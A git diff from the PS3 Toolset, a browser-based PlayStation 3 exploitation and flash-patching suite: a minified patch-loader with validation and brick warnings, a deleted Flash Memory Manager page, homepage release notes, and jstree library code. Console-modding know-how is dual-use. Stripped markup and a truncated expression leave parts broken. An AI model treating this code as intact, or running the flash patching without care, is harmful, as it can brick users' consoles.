    ");var r=jQuery("#"+t.tree_id),s=jQuery("div[id="+t.lpath_id+"]"),o=t.default_object?t.default_object:{buffer:null,pre_callback:null,patch:!1},l=null,n=this;helper.rosBuffer={offset:0,size:0};var i=[{text:"Load",icon:"ui-icon-folder-open",click:function(e,r){a.dialog("close");var n=s[0].innerText.lastIndexOf("/"),i=s[0].innerText.substr(n+1,s.text().length-n-1),p=new Date;if(!0===o.patch)t.pbar_object&&(t.pbar_object.ulog(p,!0),t.pbar_object.setTitle("Loading File Operations Progress"),t.pbar_object.open(),t.pbar_object.updateProgressDialog({dlabel:"Preparing buffer",glabel:"Loading '"+i+"'",dvalue:0,gvalue:0,title:"Loading Operations Progress"})),setTimeout(function(){jQuery("#"+t.ftree_id).jstree(!0);if(o.pre_callback&&o.pre_callback(),helper.sha256_loadedros="",helper.rosBuffer=helper.sm.getBuffer(),!helper.rosBuffer)return helper.rosBuffer={offset:0,size:0},Logger.error("lDialog: Buffer memory allocation failed!"),void toast("Buffer memory allocation failed","error",5);function e(){c=l.close(),delete l}l=new fileObject(s.text()),t.pbar_object&&(t.pbar_object.ulog("Opened File "+s.text()),t.pbar_object.ulog("Size: 0x"+l.size.toString(16))),l.size===helper.patchfile_size?(t.pbar_object&&(t.pbar_object.ulog("File Size Check: OK"),t.pbar_object.updateProgressDialog({dlabel:"Reading file data",gvalue:0},p)),setTimeout(function(){Logger.info("lDialog: loading file "+s.text());var r=l.load(helper.patchfile_size,{offset:helper.rosBuffer.offset+48,size:helper.patchfile_size});if(0===r){if(t.pbar_object&&(t.pbar_object.ulog("File loaded successfully"),t.pbar_object.updateProgressDialog({dlabel:"SHA256 Extraction",glabel:"Validating '"+i+"'",dvalue:100,gvalue:75},p)),1===validatePatchFile(i)){var o="The loaded file is a custom patch file. Applying it on this console without a hardware flasher for emergencies is risky & unwise.";if(!helper.fm_usermode)return toast(o+" You cannot use it in Strict Mode.","warning",10),t.pbar_object&&t.pbar_object.ulog(o+"
    You cannot use it in Strict Mode."),updateNoValidationGUI(p,i),void e();toast(o,"warning",5),t.pbar_object&&t.pbar_object.ulog("Patch file type: Custom
    Using this file to patch the console is risky
    You should consider your next steps carefully.")}else"CEX"===helper.kmode?(toast("The loaded file is the recommended patch file for use on this console with the current firmware version","success",5),t.pbar_object&&t.pbar_object.ulog("Patch file type: Official CEX")):(toast("The loaded file is the recommended patch file for CEX mode only. This console is in ("+helper.kmode+") mode, using this patch will brick it.","warning",10),t.pbar_object&&t.pbar_object.ulog("Patch file type: Official CEX - NOT compatible with the current mode ("+helper.kmode+") of this console"));updateValidationGUI(p,i),e()}else t.pbar_object&&t.pbar_object.ulog("File IO error: 0x"+r.toString(16)+"
    Loading operations aborted"),updateNoValidationGUI(p,i),e()},500)):(helper.sp.playNG(),t.pbar_object&&(t.pbar_object.updateProgressDialog({dlabel:"Loading Operations failed",glabel:s.text()+" is not a valid patch file",dvalue:100,gvalue:100,istatus:"error-image"},p),t.pbar_object.ulog("File Size Check: NG
    Loading operations aborted")),Logger.info("lDialog: Invalid File "+s.text()),e())},1200);else if(o.buffer&&o.buffer.size>0){if(t.spbar_object&&(t.spbar_object.ulog(p,!0),t.spbar_object.setTitle("Loading File Operations Progress"),t.spbar_object.open(),t.spbar_object.updateProgressDialog({glabel:"Loading '"+i+"'",gvalue:0,title:"Loading Operations Progress"})),o.pre_callback&&o.pre_callback(),l=new fileObject(s.text()),t.spbar_object&&((o.post_callback||o.afterload_callback)&&t.spbar_object.setCallback(o),t.spbar_object.ulog("Opened File "+s.text()),t.spbar_object.ulog("Size: 0x"+l.size.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations.",gvalue:25},p)),l.size<=o.buffer.size){var c=l.load(l.size,o.buffer);0===c?(t.spbar_object&&(t.spbar_object.ulog("File loaded successfully"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations..",gvalue:50},p)),Logger.info("File loaded successfully"),0===(c=l.close())?(t.spbar_object&&(t.spbar_object.ulog("File closed successfully"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations complete",gvalue:100,istatus:"success-image"},p)),Logger.info("File closed successfully")):(t.spbar_object&&(t.spbar_object.ulog("File closing error 0x"+c.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: File closing error 0x"+c.toString(16)),toast("File closing error 0x"+c.toString(16),"error",5))):(t.spbar_object&&(t.spbar_object.ulog("File loading error 0x"+c.toString(16)),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: File loading error 0x"+c.toString(16)),toast("File loading error 0x"+c.toString(16),"error",5))}else t.spbar_object&&(t.spbar_object.ulog("Size: 0x"+l.size.toString(16)),t.spbar_object.ulog("Buffer Size: 0x"+o.buffer.size.toString(16)),t.spbar_object.ulog("Buffer memory size too low!"),t.spbar_object.updateProgressDialog({glabel:"File Loading operations error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: Buffer memory size too low, aborting file load operations!"),toast("Buffer memory size too low. Aborting file load operations","error",5);delete l}else t.spbar_object&&(t.spbar_object.ulog("Buffer memory allocation failed!"),t.spbar_object.updateProgressDialog({glabel:"Buffer allocation error",gvalue:100,istatus:"error-image"},p)),Logger.error("lDialog: Buffer memory allocation failed!"),toast("Buffer memory allocation failed","error",5)}},{text:"Cancel",icon:"ui-icon-close",click:function(e,t){a.dialog("close")}}];jQuery("#"+t.lbutton_id).removeClass("ui-helper-hidden");var a=jQuery("#"+t.lbutton_id).dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:480,width:720,buttons:i,open:function(e,t){r.jstree({core:{multiple:!1,restore_focus:!1,dblclick_toggle:!1,data:function(e,t){r.find("i.jstree-ocl").addClass("ui-state-disabled");var s=getJSTreeData_wk(this,e,!0,!1);t(-1===s?[]:s),(-1===s||s.length>0)&&(r.find("i.jstree-ocl").removeClass("ui-state-disabled"),this.get_node(e,!0).removeClass("jstree-loading").attr("aria-busy",!1))}},themes:{dots:!0,icons:!0},sort:function(e,t){var r=this.get_node(e),s=this.get_node(t);return r.type==s.type?r.text>s.text?1:-1:r.type16)throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");if(n=16843009*l,!i.equal(i.bitSlice([n,n,n,n],0,8*l),i.bitSlice(p,32*p.length-8*l,32*p.length)))throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");return i.bitSlice(p,0,32*p.length-8*l)},cbc_decrypt=function(e,t,r){var s=new sjcl.cipher.aes(sjcl.codec.hex.toBits(r)),o=aes_decrypt(s,sjcl.codec.hex.toBits(e),sjcl.codec.hex.toBits(t));return sjcl.codec.hex.fromBits(o)}; \ No newline at end of file diff --git a/flashmem.php b/flashmem.php deleted file mode 100644 index b491d9b..0000000 --- a/flashmem.php +++ /dev/null @@ -1,1593 +0,0 @@ - -
    - -
    -
    *.*
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -
    -

    Flash Memory Manager v1.3.1

    -
    - - - - - - - - - - - - -
    CFW Compatible PS3:
    -
    -
    -
    XXX
    -
    -
    -
    -

    Instructions

    -
    -
    -
      -
    • Click on the various FMM tree nodes to reveal available context menu items.
    • -
    • The Flash Memory Patch node's context menu is only enabled if your console is detected to be CFW compatible.
    • -
    -
    -
    -

    Tips

    -
    -
    -
      -
    • Always keep FMM Strict Mode ON.Strict Mode OFF is ONLY for DEVELOPERS wishing to use their own custom patches.
    • -
    • Strict Mode OFF.will let you patch the Flash Memory with any file regardless of its detected validity. You have been warned.
    • -
    • For performance reasons, avoid using storage directories containing more than a dozen items in total (files & folders).
    • -
    • For convenience sake, the SHA256 hashes displayed for each Flash Memory ROS region are calculated on the range of 0x6FFE0 bytes used by standard no-FSM patch files.
    • -
    -
    -
    -
    -
    -
    -
    -
    - - \ No newline at end of file diff --git a/index.php b/index.php index f65842b..e944fa2 100644 --- a/index.php +++ b/index.php @@ -1,59 +1,70 @@ - + PS3 Toolset by @bguerville - + + + + -
    -
    -

    PlayStation 3 Toolset by @bguerville

    -

    Initializing PS3 Toolset v1.1 build 003
    Please Wait

    -
    - -
    -
    -
    - -
    -

    PS3 Toolset v1.1.003

    -
    -
    -
    - - - - - - - - - - - - -
    -
    - - - - - Welcome -
    -
    -
    - - The PS3 Toolset is a repository project for tools built upon my latest ps3 exploitation framework v4.1.
    - New tools & features should be added to this repository with time.
    - I hope you enjoy using them as much as I enjoy making them. - -
    -
    @bguerville
    -
    -
    -
    XXX
    -
    -


    - - - - - - - - - - - - -
    -
    - - - - - Privacy -
    -
    -
    - This website does not collect or store any information of personal or technical nature related to you or your console.
    - No data from your console ever gets transmitted to our web server when using the PS3 Toolset tools, all operations are conducted locally.
    - Cookies are used locally on the ps3 for persisting a handful of PS3 Toolset variables from one session to the next. -
    -
    -
    XXX
    -
    -
    -
    -
    +
    +
    +

    PlayStation 3 Toolset by @bguerville

    +

    Initializing PS3 Toolset v1.2 build 004
    Please Wait

    +
    + +
    +
    +
    + +
    +

    PS3 Toolset v1.2.004

    +
    +
    +
    + + + + + + + + + + + + +
    +
    + + + + + Welcome +
    +
    +
    + + The PS3 Toolset is a repository project for tools built upon a ps3 exploitation framework I have been working on for some time.
    +
    + I hope you enjoy using them as much as I enjoyed making them. + +
    +
    @bguerville
    +
    +
    +
    XXX
    +
    +


    + + + + + + + + + + + + +
    +
    + + + + + Privacy +
    +
    +
    + This website does not collect or store any information of personal or technical nature related to you or your console.
    + No data from your console ever gets transmitted to our web server when using the PS3 Toolset tools, all operations are conducted locally.
    + Cookies are used locally on the ps3 for persisting a handful of PS3 Toolset variables from one session to the next. +
    +
    +
    XXX
    +
    +
    +
    +

    Latest News



    - 05/06/2021 Update v1.1.003 + 01/07/2022 Update v1.2.004
      -
    • Added support for 4.88 CEX
    • -
    • Flash NC Exploit update v3.0
    • -
    • FMM update v1.3.1
    • -
    • JS Framework update v4.2
    • +
    • + Userland Memory Manager v1.2
      +
    • +
    • + System Manager v1.3.1
      +
    • +
    • + JS Xploit Framework update v4.2
      +

    - Just a minor release! + The File Manager and the xRegistry Editor feature will be enabled in a next roll out!

    @@ -815,7 +963,7 @@
      -
    • You are free to use the tools in this project at your own risk. +
    • You are free to use the tools in this project AT YOUR OWN RISK. Keep in mind that no official support is provided, if you experience any kind of problem & find yourself in need of help, I strongly recommend that you turn to the PS3Xploit sub-forum on psx-place.com for support & guidance..
    • The Flash Player 9 browser plugin must be enabled to use the PS3 Toolset.
      If ever you disabled it permanently in the current user profile, you may need to log in as another user or create a new profile to be able to use any of the tools in this project.
    • @@ -832,7 +980,7 @@
    • PS3 Browser Flash Player 9 Plugin enabled
    • PS3 Browser Javascript enabled
    • PS3 Browser Cookies enabled
    • -
    • PS3 Firmware: 4.80/4.81/4.82/4.83/4.84/4.85/4.86/4.87/4.88
    • +
    • PS3 Firmware: 4.80/4.81/4.82/4.83/4.84/4.85/4.86/4.87/4.88/4.89
    • PS3 Firmware Type: OFW/HFW/MFW/CFW
    • PS3 Firmware mode: CEX/DEX
    • PS3 System Time accurately set
    • @@ -844,39 +992,38 @@

      My warmest thanks to Jason, for his friendship & support of course, but in the context of this project, also for testing my work all year round whenever needed.


      -

      The PS3 Toolset & its GUI were built in native js upon various open source js libraries including jQuery, jQueryUI, bigInteger, jstree, mCustomScrollbar, js-logger, js-cookie, sjcl, switchButton & toastmessage as well as the Fork Awesome CSS icon library.
      Thanks to all the coders involved in the various projects.

      +

      The PS3 Toolset & its GUI were built in native js upon various open source js libraries including jQuery, jQueryUI, bigInteger, jstree, mCustomScrollbar, js-logger, js-cookie, sjcl, switchButton, toastmessage, jquery.contextMenu, jquery.splitter, jquery.tablesorter as well as the Fork Awesome CSS icon library.
      Thanks to all the coders involved in the various projects.


      Thanks to ps3/vita scene hackers, developers, forum creators and psdevwiki contributors, all essential in bringing us to this point.

    -

    Help & Donations

    +

    Help & Donations

    -
    - On behalf of the PS3Xploit team & users, I would like to convey our sincere thanks to all Paypal donators for their support to date, their contributions so far have allowed the team to cover the ever growing maintenance costs.
    - We need your continued support if we are to keep providing the services we offer both free & ad-free. - If you wish to help us, consider a donation via Paypal at team@ps3xploit.net or in BTC at either of the addresses below.

    -
    -
    +
    +
    + On behalf of the PS3Xploit team & our users, I would like to convey our sincere thanks to all donators for their support to date.
    + To help cover the costs of keeping this project accessible to the public in the future, please consider a donation via Paypal at team@ps3xploit.net or in BTC/ETH/USDT using appropriate wallets below.

    +
    +
    +
    -
    - -
    -
    - -
    -
    - -
    +
    +
    +
    +
    -
    -
    - Legacy P2PKH +
    +
    + P2PKH
    -
    - Segwit BECH32 +
    + BECH32
    -
    - PayNyms +
    + ERC20 +
    +
    + ERC20
    @@ -884,14 +1031,14 @@
    -
    -
    +
    +
    -
    +

    Logs v1.1

    -
    - +
    +
    - - + @@ -936,14 +1083,25 @@
    XXX
    - +
    @@ -925,10 +1072,10 @@
    - +
    +

    +
    +
    +
    +
    -

    +

    + +

    +
    +
    +

    + +

    @@ -952,4 +1110,4 @@
    - + \ No newline at end of file diff --git a/js/jstree.min.js b/js/jstree.min.js index 5c821b4..2822a22 100644 --- a/js/jstree.min.js +++ b/js/jstree.min.js @@ -1,605 +1 @@ -!function(e){"use strict" -"function"==typeof define&&define.amd?define(["jquery"],e):"undefined"!=typeof module&&module.exports?module.exports=e(require("jquery")):e(jQuery)}(function(e,t){"use strict" -if(!e.jstree){var r=0,i=!1,s=!1,a=!1,n=[],o=e("script:last").attr("src"),d=window.document,c=window.setImmediate,l=window.Promise -!c&&l&&(c=function(e,t){l.resolve(t).then(e)}),e.jstree={version:"3.3.8",defaults:{plugins:[]},plugins:{},path:o&&-1!==o.indexOf("/")?o.replace(/\/[^\/]+$/,""):"",idregex:/[\\:&!^|()\[\]<>@*'+~#";.,=\- \/${}%?`]/g,root:"#"},e.jstree.create=function(t,i){var s=new e.jstree.core(++r),a=i -return i=e.extend(!0,{},e.jstree.defaults,i),a&&a.plugins&&(i.plugins=a.plugins),e.each(i.plugins,function(e,t){"core"!==e&&(s=s.plugin(t,i[t]))}),e(t).data("jstree",s),s.init(t,i),s},e.jstree.destroy=function(){e(".jstree:jstree").jstree("destroy"),e(d).off(".jstree")},e.jstree.core=function(e){this._id=e,this._cnt=0,this._wrk=null,this._data={core:{themes:{name:!1,dots:!1,icons:!1,ellipsis:!1},selected:[],last_error:{},working:!1,worker_queue:[],focused:null}}},e.jstree.reference=function(t){var r=null,i=null -if(!t||!t.id||t.tagName&&t.nodeType||(t=t.id),!i||!i.length)try{i=e(t)}catch(s){}if(!i||!i.length)try{i=e("#"+t.replace(e.jstree.idregex,"\\$&"))}catch(s){}return i&&i.length&&(i=i.closest(".jstree")).length&&(i=i.data("jstree"))?r=i:e(".jstree").each(function(){var i=e(this).data("jstree") -return i&&i._model.data[t]?(r=i,!1):void 0}),r},e.fn.jstree=function(r){var i="string"==typeof r,s=Array.prototype.slice.call(arguments,1),a=null -return r!==!0||this.length?(this.each(function(){var n=e.jstree.reference(this),o=i&&n?n[r]:null -return a=i&&o?o.apply(n,s):null,n||i||r!==t&&!e.isPlainObject(r)||e.jstree.create(this,r),(n&&!i||r===!0)&&(a=n||!1),null!==a&&a!==t?!1:void 0}),null!==a&&a!==t?a:this):!1},e.expr.pseudos.jstree=e.expr.createPseudo(function(r){return function(r){return e(r).hasClass("jstree")&&e(r).data("jstree")!==t}}),e.jstree.defaults.core={data:!1,strings:!1,check_callback:!1,error:e.noop,animation:200,multiple:!0,themes:{name:!1,url:!1,dir:!1,dots:!0,icons:!0,ellipsis:!1,stripes:!1,variant:!1,responsive:!1},expand_selected_onload:!0,worker:!0,force_text:!1,dblclick_toggle:!0,loaded_state:!1,restore_focus:!0,keyboard:{"ctrl-space":function(t){t.type="click",e(t.currentTarget).trigger(t)},enter:function(t){t.type="click",e(t.currentTarget).trigger(t)},left:function(t){if(t.preventDefault(),this.is_open(t.currentTarget))this.close_node(t.currentTarget) -else{var r=this.get_parent(t.currentTarget) -r&&r.id!==e.jstree.root&&this.get_node(r,!0).children(".jstree-anchor").focus()}},up:function(e){e.preventDefault() -var t=this.get_prev_dom(e.currentTarget) -t&&t.length&&t.children(".jstree-anchor").focus()},right:function(t){if(t.preventDefault(),this.is_closed(t.currentTarget))this.open_node(t.currentTarget,function(e){this.get_node(e,!0).children(".jstree-anchor").focus()}) -else if(this.is_open(t.currentTarget)){var r=this.get_node(t.currentTarget,!0).children(".jstree-children")[0] -r&&e(this._firstChild(r)).children(".jstree-anchor").focus()}},down:function(e){e.preventDefault() -var t=this.get_next_dom(e.currentTarget) -t&&t.length&&t.children(".jstree-anchor").focus()},"*":function(e){this.open_all()},home:function(t){t.preventDefault() -var r=this._firstChild(this.get_container_ul()[0]) -r&&e(r).children(".jstree-anchor").filter(":visible").focus()},end:function(e){e.preventDefault(),this.element.find(".jstree-anchor").filter(":visible").last().focus()},f2:function(e){e.preventDefault(),this.edit(e.currentTarget)}}},e.jstree.core.prototype={plugin:function(t,r){var i=e.jstree.plugins[t] -return i?(this._data[t]={},i.prototype=this,new i(r,this)):this},init:function(t,r){this._model={data:{},changed:[],force_full_redraw:!1,redraw_timeout:!1,default_state:{loaded:!0,opened:!1,selected:!1,disabled:!1}},this._model.data[e.jstree.root]={id:e.jstree.root,parent:null,parents:[],children:[],children_d:[],state:{loaded:!1}},this.element=e(t).addClass("jstree jstree-"+this._id),this.settings=r,this._data.core.ready=!1,this._data.core.loaded=!1,this._data.core.rtl="rtl"===this.element.css("direction"),this.element[this._data.core.rtl?"addClass":"removeClass"]("jstree-rtl"),this.element.attr("role","tree"),this.settings.core.multiple&&this.element.attr("aria-multiselectable",!0),this.element.attr("tabindex")||this.element.attr("tabindex","0"),this.bind(),this.trigger("init"),this._data.core.original_container_html=this.element.find(" > ul > li").clone(!0),this._data.core.original_container_html.find("li").addBack().contents().filter(function(){return 3===this.nodeType&&(!this.nodeValue||/^\s+$/.test(this.nodeValue))}).remove(),this.element.html(""),this.element.attr("aria-activedescendant","j"+this._id+"_loading"),this._data.core.li_height=this.get_container_ul().children("li").first().outerHeight()||24,this._data.core.node=this._create_prototype_node(),this.trigger("loading"),this.load_node(e.jstree.root)},destroy:function(e){if(this.trigger("destroy"),this._wrk)try{window.URL.revokeObjectURL(this._wrk),this._wrk=null}catch(t){}e||this.element.empty(),this.teardown()},_create_prototype_node:function(){var e,t,r=d.createElement("LI") -return r.setAttribute("role","treeitem"),e=d.createElement("I"),e.className="jstree-icon jstree-ocl",e.setAttribute("role","presentation"),r.appendChild(e),e=d.createElement("A"),e.className="jstree-anchor",e.setAttribute("href","#"),e.setAttribute("tabindex","-1"),t=d.createElement("I"),t.className="jstree-icon jstree-themeicon",t.setAttribute("role","presentation"),e.appendChild(t),r.appendChild(e),e=t=null,r},_kbevent_to_func:function(e){var t={8:"Backspace",9:"Tab",13:"Enter",19:"Pause",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"Print",45:"Insert",46:"Delete",96:"Numpad0",97:"Numpad1",98:"Numpad2",99:"Numpad3",100:"Numpad4",101:"Numpad5",102:"Numpad6",103:"Numpad7",104:"Numpad8",105:"Numpad9","-13":"NumpadEnter",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"Numlock",145:"Scrolllock",16:"Shift",17:"Ctrl",18:"Alt",48:"0",49:"1",50:"2",51:"3",52:"4",53:"5",54:"6",55:"7",56:"8",57:"9",59:";",61:"=",65:"a",66:"b",67:"c",68:"d",69:"e",70:"f",71:"g",72:"h",73:"i",74:"j",75:"k",76:"l",77:"m",78:"n",79:"o",80:"p",81:"q",82:"r",83:"s",84:"t",85:"u",86:"v",87:"w",88:"x",89:"y",90:"z",107:"+",109:"-",110:".",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",111:"/",106:"*",173:"-"},r=[] -e.ctrlKey&&r.push("ctrl"),e.altKey&&r.push("alt"),e.shiftKey&&r.push("shift"),r.push(t[e.which]||e.which),r=r.sort().join("-").toLowerCase() -var i,s,a=this.settings.core.keyboard -for(i in a)if(a.hasOwnProperty(i)&&(s=i,"-"!==s&&"+"!==s&&(s=s.replace("--","-MINUS").replace("+-","-MINUS").replace("++","-PLUS").replace("-+","-PLUS"),s=s.split(/-|\+/).sort().join("-").replace("MINUS","-").replace("PLUS","+").toLowerCase()),s===r))return a[i] -return null},teardown:function(){this.unbind(),this.element.removeClass("jstree").removeData("jstree").find("[class^='jstree']").addBack().attr("class",function(){return this.className.replace(/jstree[^ ]*|$/gi,"")}),this.element=null},bind:function(){var t="",r=null,i=0 -this.element.on("dblclick.jstree",function(e){if(e.target.tagName&&"input"===e.target.tagName.toLowerCase())return!0 -if(d.selection&&d.selection.empty)d.selection.empty() -else if(window.getSelection){var t=window.getSelection() -try{t.removeAllRanges(),t.collapse()}catch(r){}}}).on("mousedown.jstree",e.proxy(function(e){e.target===this.element[0]&&(e.preventDefault(),i=+new Date)},this)).on("mousedown.jstree",".jstree-ocl",function(e){e.preventDefault()}).on("click.jstree",".jstree-ocl",e.proxy(function(e){this.toggle_node(e.target)},this)).on("dblclick.jstree",".jstree-anchor",e.proxy(function(e){return e.target.tagName&&"input"===e.target.tagName.toLowerCase()?!0:void(this.settings.core.dblclick_toggle&&this.toggle_node(e.target))},this)).on("click.jstree",".jstree-anchor",e.proxy(function(t){t.preventDefault(),t.currentTarget!==d.activeElement&&e(t.currentTarget).focus(),this.activate_node(t.currentTarget,t)},this)).on("keydown.jstree",".jstree-anchor",e.proxy(function(e){if(e.target.tagName&&"input"===e.target.tagName.toLowerCase())return!0 -this._data.core.rtl&&(37===e.which?e.which=39:39===e.which&&(e.which=37)) -var t=this._kbevent_to_func(e) -if(t){var r=t.call(this,e) -if(r===!1||r===!0)return r}},this)).on("load_node.jstree",e.proxy(function(t,r){r.status&&(r.node.id!==e.jstree.root||this._data.core.loaded||(this._data.core.loaded=!0,this._firstChild(this.get_container_ul()[0])&&this.element.attr("aria-activedescendant",this._firstChild(this.get_container_ul()[0]).id),this.trigger("loaded")),this._data.core.ready||setTimeout(e.proxy(function(){if(this.element&&!this.get_container_ul().find(".jstree-loading").length){if(this._data.core.ready=!0,this._data.core.selected.length){if(this.settings.core.expand_selected_onload){var t,r,i=[] -for(t=0,r=this._data.core.selected.length;r>t;t++)i=i.concat(this._model.data[this._data.core.selected[t]].parents) -for(i=e.vakata.array_unique(i),t=0,r=i.length;r>t;t++)this.open_node(i[t],!1,0)}this.trigger("changed",{action:"ready",selected:this._data.core.selected})}this.trigger("ready")}},this),0))},this)).on("keypress.jstree",e.proxy(function(i){if(i.target.tagName&&"input"===i.target.tagName.toLowerCase())return!0 -r&&clearTimeout(r),r=setTimeout(function(){t=""},500) -var s=String.fromCharCode(i.which).toLowerCase(),a=this.element.find(".jstree-anchor").filter(":visible"),n=a.index(d.activeElement)||0,o=!1 -if(t+=s,t.length>1){if(a.slice(n).each(e.proxy(function(r,i){return 0===e(i).text().toLowerCase().indexOf(t)?(e(i).focus(),o=!0,!1):void 0},this)),o)return -if(a.slice(0,n).each(e.proxy(function(r,i){return 0===e(i).text().toLowerCase().indexOf(t)?(e(i).focus(),o=!0,!1):void 0},this)),o)return}if(new RegExp("^"+s.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")+"+$").test(t)){if(a.slice(n+1).each(e.proxy(function(t,r){return e(r).text().toLowerCase().charAt(0)===s?(e(r).focus(),o=!0,!1):void 0},this)),o)return -if(a.slice(0,n+1).each(e.proxy(function(t,r){return e(r).text().toLowerCase().charAt(0)===s?(e(r).focus(),o=!0,!1):void 0},this)),o)return}},this)).on("init.jstree",e.proxy(function(){var e=this.settings.core.themes -this._data.core.themes.dots=e.dots,this._data.core.themes.stripes=e.stripes,this._data.core.themes.icons=e.icons,this._data.core.themes.ellipsis=e.ellipsis,this.set_theme(e.name||"default",e.url),this.set_theme_variant(e.variant)},this)).on("loading.jstree",e.proxy(function(){this[this._data.core.themes.dots?"show_dots":"hide_dots"](),this[this._data.core.themes.icons?"show_icons":"hide_icons"](),this[this._data.core.themes.stripes?"show_stripes":"hide_stripes"](),this[this._data.core.themes.ellipsis?"show_ellipsis":"hide_ellipsis"]()},this)).on("blur.jstree",".jstree-anchor",e.proxy(function(t){this._data.core.focused=null,e(t.currentTarget).filter(".jstree-hovered").trigger("mouseleave"),this.element.attr("tabindex","0")},this)).on("focus.jstree",".jstree-anchor",e.proxy(function(t){var r=this.get_node(t.currentTarget) -r&&r.id&&(this._data.core.focused=r.id),this.element.find(".jstree-hovered").not(t.currentTarget).trigger("mouseleave"),e(t.currentTarget).trigger("mouseenter"),this.element.attr("tabindex","-1")},this)).on("focus.jstree",e.proxy(function(){if(+new Date-i>500&&!this._data.core.focused&&this.settings.core.restore_focus){i=0 -var e=this.get_node(this.element.attr("aria-activedescendant"),!0) -e&&e.find("> .jstree-anchor").focus()}},this)).on("mouseenter.jstree",".jstree-anchor",e.proxy(function(e){this.hover_node(e.currentTarget)},this)).on("mouseleave.jstree",".jstree-anchor",e.proxy(function(e){this.dehover_node(e.currentTarget)},this))},unbind:function(){this.element.off(".jstree"),e(d).off(".jstree-"+this._id)},trigger:function(e,t){t||(t={}),t.instance=this,this.element.triggerHandler(e.replace(".jstree","")+".jstree",t)},get_container:function(){return this.element},get_container_ul:function(){return this.element.children(".jstree-children").first()},get_string:function(t){var r=this.settings.core.strings -return e.isFunction(r)?r.call(this,t):r&&r[t]?r[t]:t},_firstChild:function(e){for(e=e?e.firstChild:null;null!==e&&1!==e.nodeType;)e=e.nextSibling -return e},_nextSibling:function(e){for(e=e?e.nextSibling:null;null!==e&&1!==e.nodeType;)e=e.nextSibling -return e},_previousSibling:function(e){for(e=e?e.previousSibling:null;null!==e&&1!==e.nodeType;)e=e.previousSibling -return e},get_node:function(t,r){t&&t.id&&(t=t.id),t instanceof e&&t.length&&t[0].id&&(t=t[0].id) -var i -try{if(this._model.data[t])t=this._model.data[t] -else if("string"==typeof t&&this._model.data[t.replace(/^#/,"")])t=this._model.data[t.replace(/^#/,"")] -else if("string"==typeof t&&(i=e("#"+t.replace(e.jstree.idregex,"\\$&"),this.element)).length&&this._model.data[i.closest(".jstree-node").attr("id")])t=this._model.data[i.closest(".jstree-node").attr("id")] -else if((i=this.element.find(t)).length&&this._model.data[i.closest(".jstree-node").attr("id")])t=this._model.data[i.closest(".jstree-node").attr("id")] -else{if(!(i=this.element.find(t)).length||!i.hasClass("jstree"))return!1 -t=this._model.data[e.jstree.root]}return r&&(t=t.id===e.jstree.root?this.element:e("#"+t.id.replace(e.jstree.idregex,"\\$&"),this.element)),t}catch(s){return!1}},get_path:function(t,r,i){if(t=t.parents?t:this.get_node(t),!t||t.id===e.jstree.root||!t.parents)return!1 -var s,a,n=[] -for(n.push(i?t.id:t.text),s=0,a=t.parents.length;a>s;s++)n.push(i?t.parents[s]:this.get_text(t.parents[s])) -return n=n.reverse().slice(1),r?n.join(r):n},get_next_dom:function(t,r){var i -if(t=this.get_node(t,!0),t[0]===this.element[0]){for(i=this._firstChild(this.get_container_ul()[0]);i&&0===i.offsetHeight;)i=this._nextSibling(i) -return i?e(i):!1}if(!t||!t.length)return!1 -if(r){i=t[0] -do i=this._nextSibling(i) -while(i&&0===i.offsetHeight) -return i?e(i):!1}if(t.hasClass("jstree-open")){for(i=this._firstChild(t.children(".jstree-children")[0]);i&&0===i.offsetHeight;)i=this._nextSibling(i) -if(null!==i)return e(i)}i=t[0] -do i=this._nextSibling(i) -while(i&&0===i.offsetHeight) -return null!==i?e(i):t.parentsUntil(".jstree",".jstree-node").nextAll(".jstree-node:visible").first()},get_prev_dom:function(t,r){var i -if(t=this.get_node(t,!0),t[0]===this.element[0]){for(i=this.get_container_ul()[0].lastChild;i&&0===i.offsetHeight;)i=this._previousSibling(i) -return i?e(i):!1}if(!t||!t.length)return!1 -if(r){i=t[0] -do i=this._previousSibling(i) -while(i&&0===i.offsetHeight) -return i?e(i):!1}i=t[0] -do i=this._previousSibling(i) -while(i&&0===i.offsetHeight) -if(null!==i){for(t=e(i);t.hasClass("jstree-open");)t=t.children(".jstree-children").first().children(".jstree-node:visible:last") -return t}return i=t[0].parentNode.parentNode,i&&i.className&&-1!==i.className.indexOf("jstree-node")?e(i):!1},get_parent:function(t){return t=this.get_node(t),t&&t.id!==e.jstree.root?t.parent:!1},get_children_dom:function(e){return e=this.get_node(e,!0),e[0]===this.element[0]?this.get_container_ul().children(".jstree-node"):e&&e.length?e.children(".jstree-children").children(".jstree-node"):!1},is_parent:function(e){return e=this.get_node(e),e&&(e.state.loaded===!1||e.children.length>0)},is_loaded:function(e){return e=this.get_node(e),e&&e.state.loaded},is_loading:function(e){return e=this.get_node(e),e&&e.state&&e.state.loading},is_open:function(e){return e=this.get_node(e),e&&e.state.opened},is_closed:function(e){return e=this.get_node(e),e&&this.is_parent(e)&&!e.state.opened},is_leaf:function(e){return!this.is_parent(e)},load_node:function(t,r){var i,s,a,n,o -if(e.isArray(t))return this._load_nodes(t.slice(),r),!0 -if(t=this.get_node(t),!t)return r&&r.call(this,t,!1),!1 -if(t.state.loaded){for(t.state.loaded=!1,a=0,n=t.parents.length;n>a;a++)this._model.data[t.parents[a]].children_d=e.vakata.array_filter(this._model.data[t.parents[a]].children_d,function(r){return-1===e.inArray(r,t.children_d)}) -for(i=0,s=t.children_d.length;s>i;i++)this._model.data[t.children_d[i]].state.selected&&(o=!0),delete this._model.data[t.children_d[i]] 